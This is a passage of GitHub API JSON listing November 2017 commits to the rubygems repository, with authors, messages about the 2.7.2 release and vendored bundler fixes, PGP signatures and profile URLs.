/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"f8dca8382cdc13b5fb4670f91d2ffc94e504fdf6","url":"https://api.github.com/repos/rubygems/rubygems/commits/f8dca8382cdc13b5fb4670f91d2ffc94e504fdf6","html_url":"https://github.com/rubygems/rubygems/commit/f8dca8382cdc13b5fb4670f91d2ffc94e504fdf6"}]},{"sha":"f8dca8382cdc13b5fb4670f91d2ffc94e504fdf6","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-08T03:10:42Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-08T03:10:42Z"},"message":"Added History entries for 2.7.2","tree":{"sha":"6a3424a5ed28007d6de9062e687a0d45bf6f06c5","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/6a3424a5ed28007d6de9062e687a0d45bf6f06c5"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/f8dca8382cdc13b5fb4670f91d2ffc94e504fdf6","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAloCdbMACgkQ+c8TQXJk\n+sIKIwf8Dd+JScUiVZBltGn75jVxqRH5+Lops7Zzw1uh/PbMO3Tb9obka9KWYoj+\njTphBfyABMeP/DM/2lWtOWHemC9wS53rSpZ1E2Q0go4zT/U2bX7BFWzCf6DA6i0S\nZ+ebKq8127Pf0l4NL8g9t4tPlwrI9Z23zrmli/vLUXddY7luD+P4/cvtyjUhQQv4\nTGDcnJNNUsy5EDrc3gTtnQU32KBm3G9n6QeE9Tywt/E8p9H8ArN3Hq5ZZs4s54Cn\ndP5dwja1fZQyZVoXjLSwGNw+eUoSLoIG10t+gOKjK8CCaDQgjCwbaSeQKxeTYvft\nGcnlUCzyLnSHlJDsOTwPnwIHeNrYCg==\n=z1yk\n-----END PGP SIGNATURE-----","payload":"tree 6a3424a5ed28007d6de9062e687a0d45bf6f06c5\nparent 889e25128ea6dbe66d9280f342a6549ad029f2cd\nauthor SHIBATA Hiroshi 1510110642 +0900\ncommitter SHIBATA Hiroshi 1510110642 +0900\n\nAdded History entries for 2.7.2\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/f8dca8382cdc13b5fb4670f91d2ffc94e504fdf6","html_url":"https://github.com/rubygems/rubygems/commit/f8dca8382cdc13b5fb4670f91d2ffc94e504fdf6","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/f8dca8382cdc13b5fb4670f91d2ffc94e504fdf6/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"889e25128ea6dbe66d9280f342a6549ad029f2cd","url":"https://api.github.com/repos/rubygems/rubygems/commits/889e25128ea6dbe66d9280f342a6549ad029f2cd","html_url":"https://github.com/rubygems/rubygems/commit/889e25128ea6dbe66d9280f342a6549ad029f2cd"}]},{"sha":"889e25128ea6dbe66d9280f342a6549ad029f2cd","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-07T13:53:48Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-07T13:53:48Z"},"message":"Auto merge of #2066 - rubygems:workaround-git-ls-files, r=hsbt\n\nWorkaround for non-git environment.\n\nFixes #2064\n\nIgnored `git` command. It''s no effects for installation of vendored bundler.\n\nBecause we overwrite file list when invoking `update_rubygems`.","tree":{"sha":"9ad6e2387de9c59e37fd6588044098cfef6b5616","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/9ad6e2387de9c59e37fd6588044098cfef6b5616"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/889e25128ea6dbe66d9280f342a6549ad029f2cd","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/889e25128ea6dbe66d9280f342a6549ad029f2cd","html_url":"https://github.com/rubygems/rubygems/commit/889e25128ea6dbe66d9280f342a6549ad029f2cd","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/889e25128ea6dbe66d9280f342a6549ad029f2cd/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"8eb4c56d7577510eb3712e19d54373ea392aa64b","url":"https://api.github.com/repos/rubygems/rubygems/commits/8eb4c56d7577510eb3712e19d54373ea392aa64b","html_url":"https://github.com/rubygems/rubygems/commit/8eb4c56d7577510eb3712e19d54373ea392aa64b"},{"sha":"4053fda6d552f6ce13e56d922aeda3876d23f1fe","url":"https://api.github.com/repos/rubygems/rubygems/commits/4053fda6d552f6ce13e56d922aeda3876d23f1fe","html_url":"https://github.com/rubygems/rubygems/commit/4053fda6d552f6ce13e56d922aeda3876d23f1fe"}]},{"sha":"8eb4c56d7577510eb3712e19d54373ea392aa64b","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-07T13:12:03Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-07T13:12:03Z"},"message":"Auto merge of #2065 - rubygems:add-bundler-template, r=indirect\n\nAdded template files to vendoerd bundler.\n\nFixes #2062\n\n# Description:\n\nCurrent installer ignored *.tt or non-extension files. I added `bundler/templates/**/*` files when installing vendoered bundler.","tree":{"sha":"50619698663f8eb04c38980a21dc82cc921c5484","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/50619698663f8eb04c38980a21dc82cc921c5484"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/8eb4c56d7577510eb3712e19d54373ea392aa64b","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/8eb4c56d7577510eb3712e19d54373ea392aa64b","html_url":"https://github.com/rubygems/rubygems/commit/8eb4c56d7577510eb3712e19d54373ea392aa64b","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/8eb4c56d7577510eb3712e19d54373ea392aa64b/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"f415530cf5d6f9ecf438f13a3e596debc470d9b2","url":"https://api.github.com/repos/rubygems/rubygems/commits/f415530cf5d6f9ecf438f13a3e596debc470d9b2","html_url":"https://github.com/rubygems/rubygems/commit/f415530cf5d6f9ecf438f13a3e596debc470d9b2"},{"sha":"ac444871c3382da07120ba311013c1d8cc37bceb","url":"https://api.github.com/repos/rubygems/rubygems/commits/ac444871c3382da07120ba311013c1d8cc37bceb","html_url":"https://github.com/rubygems/rubygems/commit/ac444871c3382da07120ba311013c1d8cc37bceb"}]},{"sha":"f415530cf5d6f9ecf438f13a3e596debc470d9b2","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-07T12:39:46Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-07T12:39:46Z"},"message":"Auto merge of #2069 - rubygems:ignore-failing-matrix, r=hsbt\n\nIgnored failing matrix with bundler tests\n\nTemporary ignored for releasing RG 2.7.2.","tree":{"sha":"e1225f717b9adcb7a2a9d0f1929d291489a2f36d","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/e1225f717b9adcb7a2a9d0f1929d291489a2f36d"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/f415530cf5d6f9ecf438f13a3e596debc470d9b2","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/f415530cf5d6f9ecf438f13a3e596debc470d9b2","html_url":"https://github.com/rubygems/rubygems/commit/f415530cf5d6f9ecf438f13a3e596debc470d9b2","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/f415530cf5d6f9ecf438f13a3e596debc470d9b2/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"b774cb43b0edcd0dd181f6aa10fa7f28bf14848d","url":"https://api.github.com/repos/rubygems/rubygems/commits/b774cb43b0edcd0dd181f6aa10fa7f28bf14848d","html_url":"https://github.com/rubygems/rubygems/commit/b774cb43b0edcd0dd181f6aa10fa7f28bf14848d"},{"sha":"0a49b6d365e1affd3849ad491e10789e829ff4df","url":"https://api.github.com/repos/rubygems/rubygems/commits/0a49b6d365e1affd3849ad491e10789e829ff4df","html_url":"https://github.com/rubygems/rubygems/commit/0a49b6d365e1affd3849ad491e10789e829ff4df"}]},{"sha":"0a49b6d365e1affd3849ad491e10789e829ff4df","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-07T11:20:13Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-07T11:20:13Z"},"message":"Ignored failing matrix with bundler tests","tree":{"sha":"e1225f717b9adcb7a2a9d0f1929d291489a2f36d","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/e1225f717b9adcb7a2a9d0f1929d291489a2f36d"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/0a49b6d365e1affd3849ad491e10789e829ff4df","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAloBlu0ACgkQ+c8TQXJk\n+sIhWQf8Cyk10hi4yc9+e9xKnN4GCfaLUr/ZaNM1mBxy5HibFBwCY4CZkJ7MtXOG\n8l/7GJVUEL3ogYAg9ZfxWAyFb7vkPq0tIEwk8iY0JF2OHj4QtEwOJrfErfF++j/4\nuZzoP7Yt8aKzq8o0iRH3uhEfn5ICADkEYZ5Qy5NWFz23rKcj9O99d+9BLIuJiCut\nincaI8Y0BCnmaYRshpfEj1nOF45cTUH3Mc/RlWKFacpzcr4u2t/nMTUnMHm9TpLH\nYzw13ySd6vGBaKfVBCOwbPlN20lk7yw7UsNspKICqQlx/1tM2PxQG7MG7f2LEZl5\nsqFZQJ4ROLkISJ4KfmOIpQHHNW+6Ag==\n=OqVe\n-----END PGP SIGNATURE-----","payload":"tree e1225f717b9adcb7a2a9d0f1929d291489a2f36d\nparent b774cb43b0edcd0dd181f6aa10fa7f28bf14848d\nauthor SHIBATA Hiroshi 1510053613 +0900\ncommitter SHIBATA Hiroshi 1510053613 +0900\n\nIgnored failing matrix with bundler tests\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/0a49b6d365e1affd3849ad491e10789e829ff4df","html_url":"https://github.com/rubygems/rubygems/commit/0a49b6d365e1affd3849ad491e10789e829ff4df","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/0a49b6d365e1affd3849ad491e10789e829ff4df/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"b774cb43b0edcd0dd181f6aa10fa7f28bf14848d","url":"https://api.github.com/repos/rubygems/rubygems/commits/b774cb43b0edcd0dd181f6aa10fa7f28bf14848d","html_url":"https://github.com/rubygems/rubygems/commit/b774cb43b0edcd0dd181f6aa10fa7f28bf14848d"}]},{"sha":"4053fda6d552f6ce13e56d922aeda3876d23f1fe","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-06T12:28:22Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-06T12:28:22Z"},"message":"Workaround for non-git environment.\n\n Ignored `git` command. It''s no effects for installation of vendored\n bundler. Because we overwride file list when invoking `update_rubygems`.","tree":{"sha":"9563105522d4651647170aca694adb6178e235eb","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/9563105522d4651647170aca694adb6178e235eb"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/4053fda6d552f6ce13e56d922aeda3876d23f1fe","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAloAVdcACgkQ+c8TQXJk\n+sKzqggAwh3Ackgoz1LwSsqjIZYOIJ9IbgGH9N5sArbOcOs8slqeXuIFvL8YR3oI\naNqSFps7dvhMrM1lUnhsTQamu6neBsa4NZV5thWl7+GtsefMzFxN+e/cEJ9PuJGJ\n055xSBsydQqx7lzEIGn/3K66hurV1IZDZlqqWqFqO6pG+eC/3qYXAdmjfBQ+1V/Y\nzGI/VivubQIXhN0bWqMhreYj5ccW1nb+QCp23UrjuirHltNdDLUtBlSJiy/4NDzE\np5OHjbxZcR8Re+/xu8qfRWjgeJBhn1RwWOIIS1jaPVkomR/ri/gy+TQAZpHe4wbd\nbzL+oe4E1fSZXo9JVxUE2MC+QKcYOA==\n=E86t\n-----END PGP SIGNATURE-----","payload":"tree 9563105522d4651647170aca694adb6178e235eb\nparent b774cb43b0edcd0dd181f6aa10fa7f28bf14848d\nauthor SHIBATA Hiroshi 1509971302 +0900\ncommitter SHIBATA Hiroshi 1509971302 +0900\n\nWorkaround for non-git environment.\n\n Ignored `git` command. It''s no effects for installation of vendored\n bundler. Because we overwride file list when invoking `update_rubygems`.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/4053fda6d552f6ce13e56d922aeda3876d23f1fe","html_url":"https://github.com/rubygems/rubygems/commit/4053fda6d552f6ce13e56d922aeda3876d23f1fe","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/4053fda6d552f6ce13e56d922aeda3876d23f1fe/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"b774cb43b0edcd0dd181f6aa10fa7f28bf14848d","url":"https://api.github.com/repos/rubygems/rubygems/commits/b774cb43b0edcd0dd181f6aa10fa7f28bf14848d","html_url":"https://github.com/rubygems/rubygems/commit/b774cb43b0edcd0dd181f6aa10fa7f28bf14848d"}]},{"sha":"ac444871c3382da07120ba311013c1d8cc37bceb","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-06T11:59:55Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-06T11:59:55Z"},"message":"Added template files to vendoerd bundler.\n\n Fixes #2062","tree":{"sha":"3948335254ed0410cece435c832af5246985acd2","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/3948335254ed0410cece435c832af5246985acd2"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/ac444871c3382da07120ba311013c1d8cc37bceb","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAloATt4ACgkQ+c8TQXJk\n+sKBjggAs326+grHz+0RFE+ZEyFt8XWeyvDCraRo2ShchRKxmfJG+bczhP78s6Xu\nSxbKj1jYqKQpfZi2GEZ4q+FB38GrV6hqt9rbZIZ8uQOnDDD5SQnPyy1d0PR2gLiG\nQ4sUfu2y+bYCkuRtZNzGDu7hTgQMUfwumVha4Ukr/KvKhoAC+FgbhcXCcrDz6FXr\ngTThRZFNS175b21DTtOQEHGsFH5NJXEPyIXYDfUAufciTMUwMbVO7vq2fNNodmRO\nfuVSlH3QWYoGDDCiMc76+LISWnwMCIVOI2R3x5eRSKHRas4+B8j2YqrYqh5Ufk0w\nrw2cMduOI3U+6PubSjsW0/XNYfYAyQ==\n=wPA3\n-----END PGP SIGNATURE-----","payload":"tree 3948335254ed0410cece435c832af5246985acd2\nparent b774cb43b0edcd0dd181f6aa10fa7f28bf14848d\nauthor SHIBATA Hiroshi 1509969595 +0900\ncommitter SHIBATA Hiroshi 1509969595 +0900\n\nAdded template files to vendoerd bundler.\n\n Fixes #2062\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/ac444871c3382da07120ba311013c1d8cc37bceb","html_url":"https://github.com/rubygems/rubygems/commit/ac444871c3382da07120ba311013c1d8cc37bceb","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/ac444871c3382da07120ba311013c1d8cc37bceb/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"b774cb43b0edcd0dd181f6aa10fa7f28bf14848d","url":"https://api.github.com/repos/rubygems/rubygems/commits/b774cb43b0edcd0dd181f6aa10fa7f28bf14848d","html_url":"https://github.com/rubygems/rubygems/commit/b774cb43b0edcd0dd181f6aa10fa7f28bf14848d"}]},{"sha":"47be81b6bb29ef9843545f5b58cd25389555c1fd","commit":{"author":{"name":"Lin Jen-Shin","email":"godfat@godfat.org","date":"2017-11-04T09:14:46Z"},"committer":{"name":"Lin Jen-Shin","email":"godfat@godfat.org","date":"2017-11-04T09:14:46Z"},"message":"Add --[no-]check-development option to cleanup cmd\n\nDefault to check so it keeps backward compatibility.","tree":{"sha":"b20c12512dbfb9fa82fd59b8a34afbeffddd3532","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/b20c12512dbfb9fa82fd59b8a34afbeffddd3532"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/47be81b6bb29ef9843545f5b58cd25389555c1fd","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/47be81b6bb29ef9843545f5b58cd25389555c1fd","html_url":"https://github.com/rubygems/rubygems/commit/47be81b6bb29ef9843545f5b58cd25389555c1fd","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/47be81b6bb29ef9843545f5b58cd25389555c1fd/comments","author":{"login":"godfat","id":10416,"avatar_url":"https://avatars3.githubusercontent.com/u/10416?v=4","gravatar_id":"","url":"https://api.github.com/users/godfat","html_url":"https://github.com/godfat","followers_url":"https://api.github.com/users/godfat/followers","following_url":"https://api.github.com/users/godfat/following{/other_user}","gists_url":"https://api.github.com/users/godfat/gists{/gist_id}","starred_url":"https://api.github.com/users/godfat/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/godfat/subscriptions","organizations_url":"https://api.github.com/users/godfat/orgs","repos_url":"https://api.github.com/users/godfat/repos","events_url":"https://api.github.com/users/godfat/events{/privacy}","received_events_url":"https://api.github.com/users/godfat/received_events","type":"User","site_admin":false},"committer":{"login":"godfat","id":10416,"avatar_url":"https://avatars3.githubusercontent.com/u/10416?v=4","gravatar_id":"","url":"https://api.github.com/users/godfat","html_url":"https://github.com/godfat","followers_url":"https://api.github.com/users/godfat/followers","following_url":"https://api.github.com/users/godfat/following{/other_user}","gists_url":"https://api.github.com/users/godfat/gists{/gist_id}","starred_url":"https://api.github.com/users/godfat/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/godfat/subscriptions","organizations_url":"https://api.github.com/users/godfat/orgs","repos_url":"https://api.github.com/users/godfat/repos","events_url":"https://api.github.com/users/godfat/events{/privacy}","received_events_url":"https://api.github.com/users/godfat/received_events","type":"User","site_admin":false},"parents":[{"sha":"b774cb43b0edcd0dd181f6aa10fa7f28bf14848d","url":"https://api.github.com/repos/rubygems/rubygems/commits/b774cb43b0edcd0dd181f6aa10fa7f28bf14848d","html_url":"https://github.com/rubygems/rubygems/commit/b774cb43b0edcd0dd181f6aa10fa7f28bf14848d"}]},{"sha":"b774cb43b0edcd0dd181f6aa10fa7f28bf14848d","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-11-04T00:22:00Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-11-04T00:22:00Z"},"message":"Version 2.7.1 with changelog","tree":{"sha":"c1034b36ebcc7655c4058991586a7643b270c995","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/c1034b36ebcc7655c4058991586a7643b270c995"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/b774cb43b0edcd0dd181f6aa10fa7f28bf14848d","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG 